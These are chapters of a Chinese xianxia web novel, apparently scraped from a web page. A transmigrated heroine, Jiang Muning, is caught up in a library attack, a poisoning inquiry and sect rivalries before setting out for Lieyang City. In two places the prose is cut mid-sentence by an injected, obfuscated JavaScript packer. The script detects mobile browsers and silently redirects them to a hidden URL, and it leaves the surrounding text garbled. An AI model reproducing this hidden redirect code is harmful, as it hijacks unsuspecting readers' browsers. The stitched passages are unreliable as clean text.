祝锦溪冷冷一笑,眼底的阴鸷更深,“在我这里没有借字,我想要的东西你替我取回来,否则我会告诉谢亭修你当初拜他为师的目的,别以为我不知道姜家想要做何事。” 看到有些狼狈的姜慕宁,祝锦溪心情好了不少,向她徐徐走来,默默搓捻两指,嘴角噙着一丝笑容,似是威胁,又似警告般道,“在天阙我祝家为大,连沈珏都要看我的脸色,你姜慕宁凭什么敢不对我卑躬屈膝?我忍了你这么久,是该让你长长教训了。” ??? 这又是何意味? 姜慕宁大脑瞬间宕机,她怎么感觉有一点跟不上。 不是?这都哪跟哪? 她没做过任何对不起此人的事……要说是报复,怎么着也轮不到祝锦溪,沈霁雪当是首位才对吧。 “祝锦溪,我觉得你有一点莫名其妙,你需要清醒清醒,告辞告辞。你看我不顺眼,我走就好了,我们犯不着动手。”姜慕宁倒吸一口凉气,瞄了瞄祝锦溪两眼,然后抱着古籍与抄写的纸张快速地越出去。 祝锦溪见她要走,连忙放下狠话:“在太虚门,也有效忠我祝家的弟子,只要我一声令下,你也别想活着。你有罪无罪,是我说了算。” 姜慕宁觉得祝锦溪以为她是被吓大的,随便说两三句就被糊弄,没有真凭实据,光一张嘴胡言乱语,只怕也作不得数,太虚派的人也不全是是非不分的修士。 何况胡言乱语,她也会,届时看谁说得过谁。 总之,姜慕宁扬起眉头,丝毫不惧任何风暴的降临。 临走之际,她不忘捡起掉在地上残落的碎片,她偷偷瞄了一眼祝锦溪,发现祝锦溪的目光越过她的身子直抵藏经楼顶部,她了然地道:“你怎么急着和我说话,是不是怕我发现什么事情?” 祝锦溪微微一笑,别在耳上的琉璃坠子摇摇晃晃,时不时地映出清月的光芒,疑惑地摇了摇头,眼里的狡黠一闪而过:“难道不是你勾结炼刀堂的方囚吗?我可是听说,你准备为徐鹤白杀了陈玄昭和沈霁雪。” 话题似乎又绕回了最初的地方。 悬月高照,夜里寒风深重,轻轻地绕了过来,卷起两人的衣袖,蹁跹交缠几度,终呼啸离去。姜慕宁将挡在脸上的几绺青丝绕到耳后,抬头望着略微高她一些的女子。 这个话题转移得很是生硬,她摊摊手,无奈地说:“很可惜,事实并非如此。岳师伯证明了我的清白,沈霁雪和徐鹤白也都在场,我是无辜的。你想要沈霁雪的秘籍,此事我们还有商量的余地,只是今夜实在太晚,这样,我们改日再叙。” 话毕,她也不给祝锦溪反应的机会,径直地越过祝锦溪离开。 谁料她刚迈几步,这古雅的楼阁如同根朽枝枯一般,“砰”的一声轰然倒塌,彻底地陷了下去。 6. 识卿(六) 姜慕宁还没有来得及从这一切缓过来,便看到虚空里黑影浮动,从废墟里涌出直抵云霄,停留了大概三息的时间,明明瞧不见黑影的眼眸,但姜慕宁总觉得它似在回应底下的女子。 “祝锦溪?你和那个人不会是一伙的吧。”祝锦溪漆黑的瞳孔渐渐放大,轻微地点了一下头,背在身后的手悄悄汇聚灵力,欲袭向身前的姜慕宁,只是迟了一步,姜慕宁的身影已闪到上空,与那道身影近身赤膊地缠斗。 事实证明,还真有这个可能,底下的女子选择隔岸观火,仿佛看戏般欣赏他们的打斗。 剑光点点,如星辰坠地,横扫漆黑苍穹。剑器相碰出的火花撒在地面,倒似稍纵即逝的烟花纷尘。 不知过了多久,姜慕宁倒退三尺距离,她的肩部被利器刺中,隐隐渗出鲜血,她的剑指着那道黑影,尽量使自己的言语古风一点,有些虚弱地道:“你是何人?为何来我太虚山?你与祝锦溪是何关系?” 她也不是喜欢多管闲事之人,只是就这么让这东西一走了之,依照祝锦溪的秉性肯定把事情都推到她的身上,若是自己出手还受了伤,便能脱了这个干系。 但她忘了,这个时期的她还是个菜鸟,唯一拿得出手的只有这把千机伞,用得还不怎么称手。说来也奇怪,她用千机伞时,几乎都是十分地顺理成章召出来,仿佛此物曾是她的物品一样,说来就来。 可能是穿书给的奖励,是将死的慰藉也说不定。 这些质问的话落在黑影的耳中如废话掠过,他所着的黑色斗篷遮住了他的气息和五官,握剑的手紧了三分,机械般的嗓音自他的喉咙发出:“姜慕宁,你非要找死,我成全你。” 手里的千机伞被用力一转,抛至半空,伞面瞬间放出寒箭涌去,她趁机拔出伞下的剑刺去,凭着记忆躲开攻击,一剑刺在了那人的耳朵上,削掉了对方的一块面皮。 她握剑的手抖了一下,从未伤人的她此刻有些无措,下意识地道歉:“啊,对不起,对不起,我不是故意的,不过你下手也没有多轻,我刚刚差点被你一剑穿心。” “你是不是觉得自己很幽默?” 她的话就像阴风,吹起了那人心里的怒火,姜慕宁心觉不妙,赶紧掏掏衣袖里的乾坤袋,抓着里面的东西往地上抛去,其中有个东西坠到地面,砸出一道火花后以迅雷不及掩耳之势上升,凝结成圆状物体,迅速炸开。 一层又一层地泛开,按照这个速度,太虚派五峰应该都已得到了指示,在赶往这里的途中。 “给我杀了她,反正你也走不出去,还不如替我做最后一件事,我会好好安置你的家人的。”就在此时,祝锦溪凝出一箭刺中她的肩膀,将人定在半空,发出最后的指示便打算远离藏经楼。 翻涌的灵流席卷如瀑,带着腐蚀的气息扑面而来,姜慕宁本想继续躲避,可正在此时她的身体被外力圈住,突然无法动弹,她挣扎了很多次,也渐渐明白,朝着底下大喊:“祝锦溪!这是太虚派,不是你天阙祝家,你这么做,他们是不会饶了你的。” 后面的话没了声息,姜慕宁张着嘴,却说不出任何的话,她瞳孔里写满了害怕,本能地摇了摇头,无声地挣扎着。 难道真的要死在这里了吗? 她还不想死,若是就这么死了,是不是也就可以回现代了?想到这里,姜慕宁的心情忽然没有这么差,反而有些隐隐期待,横竖都是一死,也没什么的。 强大的力量朝她毫无征兆地冲来,姜慕宁暗自瞪了一眼祝锦溪,颤抖的指尖动了几下,依旧召不出一点灵力,最终,她不再做挣扎,认命地阖上眼睛等死。 如果我不死,也要做个怨鬼纠缠你们这些没人性的家伙。 眼见着黑影的攻击即将落在她的心脏,关键之际,一道流光扑在她的身上,替她挡下了攻击,她觉得背后暖暖洋洋的,似寒冬里给予她的温暖一般,这股力量流过她的周身,汇聚成强悍的攻击袭去。 圈起千层枷锁紧紧束缚着那道玄色身影,“铛”的一声,那人的伪装尽数被卸了下来,姜慕宁的耳边响过一道熟悉而温柔的声音:“亭修,我就说小宁性子变了,你还不信,你看,她还替我们拦住了给玄昭下毒的凶手。” 这是岳师伯的声音,听上去格外让人心安。 那身后温暖的灵力应该是属于谢亭修的,她错愕地转身面对身后的男子,他的神色淡淡,天生带着疏离感,只将眼里的目光扫她半刻便越过她,徐徐走向被击落在地的男子,手间迸发出寒冷刺骨的灵流,紧紧包裹着那人,全然不给其一丝逃脱的机会。 “师尊、师伯,我一直都在藏经楼,我不知道那人是谁,祝师姐也一直在场,刚才是她与我一同御敌。”周围泛起令人颤栗的寒气,姜慕宁跟在谢亭修的身后,吃痛地捂着受了伤的肩膀,有些委屈地道,“只是师姐不小心打偏了,我受了点伤。” 谢亭修闻言,淡淡地“嗯”了一声,便没有了下文。 她静静地看着谢亭修眉心闪烁着的金印,身上有一阵没一阵地发疼,大脑也疼得厉害,她觉得自己下一刻就要倒在地上。 眼前的金光晃得她的眼睛很难受,于是她趁着清醒,赶紧朝着岳明恪跑了过去,只是她高估了自己的抵抗力,跑到中途便没了力气,猝不及防地倒在了地上。 即将倒地的瞬间,她的身体被温暖的灵力轻轻托起,推到了一个温暖、泛着清香的怀抱里,她的脸上有些痒痒的,是那人的青丝不小心落在了她的脸上,旋即那人轻柔地开口道:“师叔,我看姜师妹受了伤,不如今夜便随我回天乾峰吧。” 沈霁雪? 还有陆续赶来的一众弟子,脚步迅疾如风,整齐划一地站在一处,徐鹤白立于前方,一袭青衫俏俊容,拱手有礼地汇报搜查的结果:“师父,师叔,各峰并未发现其他可疑的人,弟子去查了结界,是藏雷峰的结界被人破开了缺口,那人应是借机混入地坤峰的禁地,给陈玄昭下了毒。” 这剧情发展超出了姜慕宁有限的脑容量,一时之间,她有点分不清哪个是敌哪个是友,但她唯一能够确定的是跟着沈霁雪这个女主肯定是最正确的选择。 岳明恪负手而立,连连点头,满脸笑容地看着自己的弟子,赞道:“做得好,鹤白,去替你师叔将此要犯带回天乾峰……祝锦溪,你且先回去休息。” 话音刚落,祝锦溪的脸色瞬间苍白如纸,砰地一声倒在地上,脑袋结结实实地磕到了地面,谢亭修将凶手擒入手中的法器,递给了徐鹤白,没看地面的女子。 “藏经楼少了一本很重要的古籍,事关太虚派,还请师兄相助。”谢亭修召出一本小若明珠、泛着金光的书籍,抬手放置在其上感应着,顷刻,他收回宝物,一针见血地道,“祝锦溪也有嫌疑,连带着今夜来此的弟子,都须一一排查。” 岳明恪点头,交代给跟来的其他峰的长老。 过了一会儿,谢亭修缓缓走至岳明恪身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500685|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,视线慢慢地落在了姜慕宁的身上,那道好奇的目光停滞在那张明艳可爱的脸上,思了片刻,道:“若姜慕宁没有嫌疑,三日后,便让她随霁雪和鹤白前去烈阳城为百姓除妖,好好历练一番,去除邪性。” 沈霁雪愣了一下,低眸瞧着怀里昏睡的女子,觉得此人似乎变得与从前不同,她的一言一行,甚至是衣物也不再是与自己如出一辙。 也罢,让她试试这位姜师妹打的何种算盘,于是沈霁雪没理会徐鹤白无声的抗议,一口应下了谢亭修的提议:“师叔此举甚好,我也有此意。” 说罢,谢亭修便没再留在这里,这些事交给该做的人,他还须去处理那些锲而不舍的来信,回绝一些动了妄念的旧友。 昏睡的姜慕宁:我还没有同意,我不去! 顿了顿,沈霁雪忽而想起一事,手抱紧了姜慕宁,对着岳明恪道:“师父,还有半月便是中元节,届时我能否下山见见许久未见的亲人?” 太虚派隐居山林,不似其他三派将宗门安排在喧嚣之所,派里的长老都极少过问凡尘俗事,也对弟子要求甚严,不许无故下山,其实也在情理之中,不怕弟子为百姓解惑,就怕一些弟子沾染纷尘、受欲望腐蚀变得贪婪自私而罔顾他人性命。 这个提议说大不大说小不小。岳明恪同样也很满意他的这位弟子,她是天阙的长乐公主,一心一意修行,与胞弟沈珏相亲相爱,自幼关系甚好,天阙国事她也格外在意。 岳明恪想也不想,便答应了沈霁雪的要求,转头观察了一下徐鹤白,轻拍其肩,悠悠地道:“你也跟着霁雪下山。陈家主来了书信,要玄昭回去,待他解了毒就由你将玄昭送回天阙。” 徐鹤白颔首答应,目送沈霁雪等人离开后,十分不情愿地在她的注视下离开藏雷峰,前往地坤峰,临走之时,幽怨地道:“改日我再找你算账。” 人走得差不多了,沈霁雪将人带回了住处,默默看向躺在床上的红衣女子,须臾过后抬手轻轻拍了拍姜慕宁的脸,见她还在装睡,便加重了力道,温柔的话里夹杂着些许威胁:“姜师妹再不醒,我可要送你去水云峰了。” 昏睡的人如醍醐灌顶一般,哗的一下睁开双眼从温软的肩头抬起,姜慕宁尴尬地笑了笑,好奇地道:“师姐是何时发现我醒过来的?” 沈霁雪也不隐瞒姜慕宁,她这几日一直在观察姜慕宁的动静,她隐隐觉得姜慕宁太不对劲,平日的姜慕宁看谁都是一副高高在上的样子,唯独对徐鹤白卑躬屈膝,但这几日的姜师妹,为人处事与之前大相径庭,竟也会同人道歉、与人欢笑。 这也可能是姜慕宁使出的新招数,但沈霁雪心里却总觉得现在的师妹没有很重的戾气,加之师妹的娘亲临终有托,她愿意再给姜慕宁一次信任的机会。 月梢头弯月俏,清辉三千绕,悄然地洒在两位姑娘的身上。这里的布置清新小雅,古味十足,立好的云屏风前悬挂着各种各样的小法器弯月刀被沈霁雪丢在了上面,它扭扭刀口,自动窜入备好的剑鞘,响了一声便没再制造出动静。 嘿呀,还还挺有灵性的。 姜慕宁老老实实地站好,安静地看着沈霁雪,沈霁雪眉眼如画般美好,倾泻的月光照耀在她的身上,宛如寒雪释放出微微光芒,她缓缓地道:“你我从小一起长大,你瞒不了我。我想知道,你发生了什么事?为何现在的你与从前判若两人,行为举止、衣着服饰都与从前大相径庭,还是说,你被人夺了舍?” 7. 烈阳城(一) 远处的雷电轰隆隆地落下,震得天响,苍茫的天际被混着白光的弯曲雷电劈中,迅速分割开来,天乾峰里短短一瞬间有一半是白昼,一半是黑夜。 沈霁雪的话似砸在了姜慕宁的心口,压得她失了一点分寸,她半退一步方猛然惊觉,沈霁雪是原著天选之女,注定会比旁人多一分聪敏,身在其中,便是真正的人了。 她没给自己反应太多的时间,快速恢复了自然如常的表情,那双炯炯有神的眼眸登时填满了疑惑,不解且生气地道:“沈霁雪,你是不是疯了?连谢亭修都没说什么,你倒是在这里疑神疑鬼的,我真不知道徐鹤白到底喜欢你哪一点。” 这次应该是姜慕宁本来的面目,终于还是装不下去了。沈霁雪的疑虑消释了一些,指尖涌出的灵光扫过她的周身,回到手里时并没有任何异样,沈霁雪这才答她的话:“我与徐鹤白青梅竹马,自幼相识,他知我所爱,我也知他所爱,我们彼此心照不宣,无须证明喜欢的理由。” 徐鹤白的身份是五大世家之一的徐家长子,他与沈霁雪、姜慕宁以及陈玄昭等人一同长大,但陈玄昭和姜慕宁的设定与他们两人相悖,因此,他们四人也注定走不到一起。 五大世家修行多时,灵力高强,曾跟随先帝沈连城攻下暴乱不止的南陵,改立国号为天阙,至今已有百年。 沈霁雪曾视姜慕宁为妹妹,是她为爱疯魔,残害诸多无辜,以致落得了一个神魂俱灭的下场,这些都是设定应发生的事。 姜慕宁微微抬眸,为其言,呐呐地点了点头,附和道:“嗯嗯,你们情深义重,是该在一起。倘若我不再纠缠徐鹤白,师姐能不能替我去和谢亭修求个情?我不想和你们前去烈阳城。” 明明她的身上没有任何被夺舍的气息,沈霁雪还是蹙起了眉,这人究竟是怎么了,从前只要有徐鹤白的地方,姜慕宁都会像狗皮膏药般黏上来,她当真是想开了,还是欲擒故纵? 但沈霁雪思考了会儿,回绝了她的提议,认真地道:“谢师叔做的决定从未有过更改,此事没有任何商量。不过也并非没有转圜的余地。慕宁,姜伯伯给我师父来了书信,他说你可以随时回去,他在山下等你已久,你若是想回天阙,待去对峙之后,你摆脱嫌疑后便可以下山。” 这个理由甚好,亲缘胜于大多规则,谢亭修再如何冷心冷情,也不可能断了姜慕宁与姜家的联系。 姜慕宁当然不想回去,按照现在的发展,她入山已有三年,全然将姜堰的交代忘得一干二净,一心扑在了徐鹤白的身上,现在回去,那些人的唾沫足以淹死她。 何况姜慕宁还有一个难缠的堂妹,整日视她为眼中钉,恨不得杀了她,回姜府是自投罗网,她不愿如涸泽之鲋般陷入困境。 想了想,姜慕宁还是觉得跟着他们好一点,至少不用应付那些人。她思考了一下,答道:“我和下毒的人没有关系,为何我还要去?难不成那人说是和我一伙的?” 身旁之人静默半晌,微微眨眼,答案显而易见,沈霁雪转身走至门旁,示意她快点跟来:“你这么聪明,不会不知道派来的人是何人,他们都在等你。” 还不如继续装睡呢! 去就去,她无所畏惧。 姜慕宁跟着沈霁雪来到天乾峰议事的大殿,走至殿外,她的腿脚开始变得有些不利索,走了很久才摸索到殿门,里面隐隐传来一些动静,她竖起耳朵去听,眯着眼睛从细小的镂空口观察大殿里的人。 这里只有寥寥几人,亮堂堂的地面上还躺着一具盖着白布、状如尸体的东西,姜慕宁的目光扫过站立的长衫修士,没寻到那道令她生畏的身影,她心里的悬石总算松了下来。 岳明恪很早便察觉到了她的气息,抬手遣散了相关的弟子,只留下沈霁雪、徐鹤白、祝锦溪以及重伤的陈玄昭和离火峰长老南宫酒。 他语气亲和,娓娓唤她:“小宁,不必害怕,只须如实道来,我们都不会为难于你,快些进来。” 这语气十分地和善,姜慕宁听着只觉心情好了些许,她从容地迈步走了进去,她的目光略微扫过状似人体的物体,诧异的眼神持续了半刻,指着地上的物体,试探性地说道:“这个是下毒的人?” 岳明恪示意她掀开白色布料,她一靠近那物,一阵恶臭直冲鼻口,她手起刀落般掀开遮挡的白布,露出一具面目全非的尸体,上面爬满了密密麻麻的蛆虫。 这分明是死了多时的人,从身形颧骨来看,应该是个及冠的男子,他的皮肉已尽数被蛆虫腐蚀,脸部、四肢只余白骨。 姜慕宁震惊之余将布盖了回去,下意识地道:“这才多久,尸体就变成了这般模样,定是有邪术作祟。”退回岳明恪的身后,她隐隐觉得这件事和最初遇到的那位师姐有点关系。 殿外陆续来了几名弟子,行了礼后就将尸体抬了出去,徐鹤白见她神色自若,将原委如实道来:“这人名唤白狸,是炼刀堂的死士,我押他回去途中突生变故,他无故发狂,欲自爆焚毁引来邪灵,我杀了他。我在他的身上搜到了姜师妹的信物,怀疑是他偷盗师妹信物,故而请师妹过来一观,绝无怀疑师妹的意思。至于祝师妹,是受他胁迫,也曾偷偷向我们求助,方才伤了你是无心之失。” 姜慕宁:“……”无心之失?早知如此,我也砍她一剑,你们也太好糊弄了吧…… 她撇头一看,祝锦溪无辜地冲她虚弱地点头,还捂了捂心口,一副弱柳扶风之态,演员都没有这个人能演! 徐鹤白递给她一枚刻了梅花印的玉佩,姜慕宁接过来认真观摩,翡翠色的玉佩纹路清晰深刻,刻在玉佩中央的雪梅栩栩如生,最为耀眼的花蕊刻着一个“宁”字。 她又翻开背面去看,却看不清那朵梅花上镌刻的是哪个字,实在想不起来这是哪件东西,瞧着材质和印记,这玉佩应是姜慕宁之物。 “是我的东西。”姜慕宁不再观察玉佩,斩钉截铁地道,一双明亮的眼眸清澈明朗,没有一丝被揭穿的心虚,坦然再言,“但是我的信物太多,要不是师兄相告,我连何时丢了这个玩意都不记得。” 见他们有所动容,立于南宫酒身后的祝锦溪却在此时忍不住发了话:“据我所知,这可是姜师妹考妣的遗物,如此珍贵却轻易落到了炼刀堂死士的手里,难道不觉得很可疑吗?师父,弟子无意挑拨离间,实在是姜师妹的解释敷衍至极,难以服众。” 祝锦溪略带歉意地向南宫酒补充后话,看似无意,实则有意地挑起了在场之人的怀疑。姜慕宁心里一惊,再度认认真真地观看这枚看上去很普通的玉佩,不答反问道:“祝师姐,倘若你能回答我一个问题,我便能答你这个问题。你去藏经楼,是不是带走了一本古籍?” 她见祝锦溪正要回答,抢先一步说道:“现在说不算,我们得在师伯的问心琴下答,这样我们谁也没有说谎的机会。” 问心琴,便是对被问心者奏起三弦,问其三问,真则毫发无损,假则会被琴音幻化出的光刃击中,且没有反抗的余地;而要受此问心,需先立下契约。 祝锦溪没有料到她会提出这个要求,维持好的神情当即骤变,一丝不易察觉的无措流闪而过,目光不禁瞥向岳明恪,正欲开口之际,外面忽传来风笛声。 而在这个时候,坐在座位上的陈玄昭掩着面重重地咳了出来,手里沾着唇角溢出的血液,艰难地抬眼瞧过来,动了动嘴,颤抖的手朝沈霁雪招招:“霁雪,师伯,我撑不住了,能不能现在就送我回天阙?我爹的朱雀火能够让我好得更快,我不想追究这些有的没的,反正我也没死,我想下山。” 平日里盛气凌人的男子在此时孱弱如斯,姜慕宁挠了挠鼻子,悄悄挪步到陈玄昭的跟前,好心好意地关心他:“玄昭,师伯都要你好生休养一段时间,别再折磨自己了,你是陈伯伯的独子,受了重伤,这幕后之人定不能饶恕。” 陈玄昭轻哼出声,盯着她的脸,原本想说的话到了嘴边变了很多:“当然不能饶恕,这些都是你们应该做的事情。我也希望姜师妹要记住自己的初心,师兄可不想在世家荟萃之日看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500686|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你颜面无存。” 眼看着两个人之间的战火越来越烈,岳明恪出来打了圆场,笑意款款地打破了这层僵持不下的局面:“好啦,此事我已有头绪,小雪,你与鹤白先送玄昭回天阙,小溪你便与离火长老回离火峰,小宁你回水云峰。” 沉重的氛围有所缓和,岳明恪在南宫酒耳旁低语几句,目送两人离去,拾起的笑容稍稍消失,便听到姜慕宁略带祈求的声音。 “师伯,今夜有些晚了,我能否在此住下?”姜慕宁走到殿外,心有不甘地绕了回来,想着还能再商量商量,但岳明恪义正言辞地拒绝她的提议,说道,“小宁,亭修今夜开始闭关,三年来你从未踏足水云峰,你来日也要熟悉水云峰,趁着这几日好好熟悉。你受了伤,师伯再给你一些时日,不如这样,五日后,你再随他们去烈阳城历练。” 此人说变就变,姜慕宁没再继续争取,迈着步子走了出去,却不是朝着水云峰的方向走去,而是随意走进了一处天乾峰无人居住的小院,两眼微微一扫,凭着直觉,走了进去。 院里杂草丛生,有半丈之高,葳蕤蓊郁,森然透着寒意,姜慕宁的手不禁起了鸡皮疙瘩,想要离开,但手却好奇地拨开阻挡在眼前的杂草,却见眼前屋舍灯火通明,穿透蕴藏着的凉意,覆在了她的手背上。 天乾峰还有这种地方,若非茂盛的杂草遮住了里面的烛火,姜慕宁估计以为这就是荒废多时的小院,宁静的夜晚飘过零星小雨,还未迈步,她忽然被余光震开,被迫移到了院前。 慌忙之际,她的手不小心擦到一株带刺的野草,尖锐的刺扎进了掌心里的皮肤,痛感微弱,温热鲜血渗出,滴落在荒草丛生的地面。 寒光一现,姜慕宁吃痛地望着伫立在身前的倩影,警惕后退一步,认出来人是谁,嗓音微颤:“南宫师叔?” 南宫酒是离火峰的长老,同是女子,喜着红衣,比姜慕宁身上的那身还要鲜艳,此刻正虎视眈眈地望着她,略有敌意,持续了一会儿才有所缓和,拂手而过,亲昵地道:“慕宁,夜已深重,你不回水云峰反倒擅闯我的炼丹房,可有要事?亭修只有你这么一个弟子,看在他的份上,这次我便不罚你了。” 这是天乾峰,并非离火峰。姜慕宁瞥到对方手心暗涌的灵流,强行压下心中的好奇,略有歉意地道:“师叔勿怪,是弟子僭越。弟子本想回去,一时不察竟迷了路,还请师叔不要告诉师尊,弟子这就回去。” 这么小心翼翼的,定有秘密! 她不敢再逗留。 “无事,今夜之事勿要告知他人,回吧。”南宫酒冲她微微一笑,摆摆手让她离去。一阵瓷器破碎的声音砸来,她脚步一顿,头也不回地远离了这里。 每个人都有秘密,好奇归好奇,小命是最要紧的,尤其还在太虚门这样的大仙派,她还只是一个新手,惹不起任何人,走为上策,还是走为上策。 再如何也没有比水云峰更差劲的地方,她匆匆回到水云峰,随意找了间空的房间躺下休息,没有一丝犹豫地阖上眼睛,不去想任何人、任何事了。 这几日总算可以好好地睡上一觉,姜慕宁很快便陷入梦乡,呼吸浅浅,睡得酣甜,难得有了一夜好梦。梦里她见到了阔别多时的姐姐和父母,与他们共享天伦之乐。 梦着梦着,周围的环境忽然转换得极快,白昼瞬间转为漆黑的夜,白茫茫的雾霾缓缓泛开,遮住了她看向远方的视线,忽有一阵灿灿的金光闪过。迷茫之余,似有道身影落于她的眼中。 “你是谁?”她伸出触摸,白色的雾经她触碰,自觉地散向四处,在她触及不到的地方再次合拢,将天地笼罩在茫茫一色里。 这样的梦,她以前好像也做过,似现实,更似海市蜃楼。 那道背影背对着她,乌发轻散着,她连唤了那人好几声,没有任何回应。便见那人披着月色的银霜朝她缓缓走来,但她始终看不清那人隐在迷雾中的面容,想揭开云雾看清时,幽寂的院外却敲响了晨起的钟声,强行唤醒了睡梦中的女子。 8. 烈阳城(二) 恍惚间,姜慕宁睁开惺忪的双眼,眼皮疲倦地上挑,脸色并没有多好,尽是被强行唤醒的不耐神情。她两眼一闭,无所畏惧地往床上躺躺,想要再梦到刚才的身影,却是怎么也入不了眠。 “难得梦到一个桃花,居然看不清长什么样子。”她重新盖好被子,疑惑地望着挂在床上的彩色玉坠,那是她用来安神助眠的宝物,她也不知为何,只有听着玉坠轻轻晃动的声音,她才能安然入睡,有个好的睡眠。 这几日她一直住在这间房,总算没有任何事发生,大概是他们忙着重新修建藏经楼,无瑕顾及她的存在。姜家的人也会偷偷派人上山请她回去或是给她警示,但都被她以各种理由回绝。 估计姜堰会被她气得更呛,姜慕宁不在乎,姜堰再如何生气也不可能暗害于她,她也断不可能回了姜家。 姜慕宁选择待在水云峰的一处僻静的小院,唯有这处能够让她心安许多,水云峰的其余地方不是寒雪凛凛,就是雪地千里,冻得人手脚发麻。她时不时地拿出《清心经》来抄抄,有时抄得累了,便痛骂谢亭修的残忍,气消了再提笔写。 日子如流水般流逝。 终于还是到了去烈阳城的那一日,沈霁雪来水云峰寻她的时候是卯时三刻,睡梦中的她猛然惊醒,换了一身俏红色的衣服便草草下了山。 这几天闲着归闲着,姜慕宁秉持着那孜孜不倦的学习心态,求岳明恪教她一些防身和御剑的要诀,好在她有一些天分,一点就通,学起来并不是很难。 迅疾的风绕过千山万水,夹带着清晨的气息扑面而来,冷气钻入口腔,姜慕宁冷不防地打了一声喷嚏,耸了耸鼻子。 一行人目前只有他们三人,姜慕宁依稀记得有四人来着,具体是谁,她的大脑里早已没了印象,这不重要,前方的两道身影时快时慢,时不时会若有若无地停顿。 应该是在等身后的红衣女子。 姜慕宁脚踩千机伞下的千机剑,御得慢悠悠的,外人看来是她想一览众山无限风光,实则她是一心求稳,害怕这把剑不听她的命令失控,造成高空坠物。 于是她冲着前面的人喊道:“你们先走,不必顾我,我想好好欣赏这巍峨的山岭。” 这“闪亮的电灯泡”她可不当,徐鹤白一听这话,便跳到了沈霁雪的身后,捉住那只手,反手握住不肯放。他微微回首,彬彬有礼地回道:“师妹,那我与霁雪便先去烈阳城的八方客栈等你,你此前来过烈阳城,应该识得路,切勿贪玩。” 姜慕宁目瞪口呆地望着徐鹤白强行催动沈霁雪的弯月,忽的一下子被飓风卷走,嘴唇翕动着却说不出一句话来,她假意失落,后见欣喜,“徐鹤白,你演都不愿意演一下了……正好,鬼才去和你们走剧情,我要去钱都。” 钱都,也称为禹都,这可是书里的好地方,上能有天堂,下也可有钱都,万事万物皆可用于交换,而她要去交换一物,能够让她回去的宝贝。 虚幻终究是虚幻,姜慕宁分得清现实与虚妄,不愿沉沦,她是一定要回去的。恒心已下,她满意地盯着远处再也不会出现的身影,露出了一个得逞的笑容,笑没多久,千机剑突然“铮铮铮”地响了起来,连带着她掠过青山云层,途中连连失控,最终从半空中坠落而下。 幸是坠落的时候有密林作为缓冲,她终得以安全地落地,手臂仅被树枝刮破了点皮,站在略为平坦的地面上,目光瞥向嘈杂声最烈的地方,从这里能够俯瞰到远处整个小城的繁华喧嚣。 两岸青山高耸入云,羲和的余晖穿透着层层卷云,斑驳的光芒轻轻地泄入山底的清澈湖泊,波光粼粼,许多小舟缓缓从泛起雾气的湖面划过,掌船的大多都是不惑年华的壮士,他们的手臂被晒得黢黑,肩上挂着一块湿润的白色毛巾。 姜慕宁一时迷恋,方才匆匆回神,收回迷失的视线,重新看向远方的小城。 那里的行人错落游走,车水马龙,小巷交错有致,尽是贩夫走卒,熙熙攘攘。 她原本是想御剑前去,但仔细想了想,穿书以来,她还没有下过山行走,仿造而出的修真世界与真实的现实世界终究不同,文字呈现出来的画面与所闻所见给人的感觉也不尽相同。 下山的路崎岖陡峭,稍有不慎就会有滚下去的风险,她试着走了一会儿,没多久脚就被磨破了皮……她终究还是败给了现实。 “去禹都,去禹都。”姜慕宁从衣袖里掏出一张千里符,贴在腰身,曲着三指默念咒语,灿灿红光从她的指尖绽出流色,消失那刻,连带着她的人“咻”的一下,迅疾袭向远处的烈阳城,抵达之时仅在十息之内。 当“烈阳城”三个大字明晃晃地映在姜慕宁眼眸里的那一刻,她顿时呆滞地站在城门,犹如被雷劈了一通一般。兜兜转转还是到了烈阳城,这已经消耗殆尽的千里符半分用处都没有,怎么就绕不开这段剧情,姜慕宁有些哭笑不得。 她几乎是不假思索地准备转身离开,刚一转身,身后便传来一声朗朗轻快的男子声音,叫住了她:“姜姑娘留步,沈姑娘和徐少侠要我在此等候姜姑娘到来,请随我前去城主府。” “你认错人了。”姜慕宁没停步,继续往城外走去,她可不想白白送命,她手上还有最后一张千里符,这次无论如何她都得去到禹都。 男子一袭玄衣,身高七尺,身形移得极快,出手拦了她的去路,拱手微微俯身,恭敬地道:“不会有错,不仅仅是他们让我在此等您,还有姜大人……” 他靠近一步,忍不住瞧了一眼她修长微卷的睫毛,在她的耳边轻轻说道:“姜大人说他会设法让谢亭修下山,届时姑娘可要把握好机会,若此事完不成,姑娘可要自行请罪。” 呃……威胁谁呢?她怀疑是不是她上辈子做了很多伤天害理的事,以至于这次是来还债的。谁都能来威胁自己一下,姜慕宁的耳朵被那人呼出的气息吹得有些痒,她毫不犹豫地推开了他,杏眼里的情绪复杂难辨,思了片刻,还是决定先敷衍一下:“知道了知道了,用不着你来提醒我,你先自报家门。” 男子闻言,短短一瞬间愣神小许,诧异的眼神落在她的身上,垂眸继续沉默了片刻,才道:“姑娘竟不记得我,属下名唤元宵,曾在姜府护你三年……” 他这语气听上去还有些失落,但她毫无印象,原著里并没有这号人物,他又是从哪里冒出来的? 既然是属下,刚才还凑这么近。姜慕宁连连点头,摆手让他离开她的视线,“元宵,你先回去罢,待我见到谢亭修,我定会亲自将离魂焚心丹打入谢亭修的体内,破了他的道心,毁他一身修为,那时圣上便能高枕无忧,我也能得偿所愿。” 